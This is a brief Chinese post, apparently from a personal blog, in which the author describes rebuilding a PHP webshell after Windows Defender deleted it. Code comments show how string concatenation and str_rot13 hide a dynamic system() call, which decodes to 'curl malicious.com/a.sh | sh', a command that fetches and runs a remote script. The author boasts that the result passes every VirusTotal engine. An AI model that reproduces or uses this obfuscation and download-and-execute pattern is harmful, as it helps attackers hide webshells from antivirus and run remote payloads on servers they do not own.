原本想隨便寫一個 Webshell 測試使用,但一下就被 Defender 吃掉了

 "str_ro"
// "str_ro"."t13" => "str_rot13"
// ("system")(("str_rot13")($e)) => system(str_rot13($e))
// system(str_rot13($e)) => system("curl malicious.com/a.sh | sh")

VirusTotal 上竟然 All pass ㄏ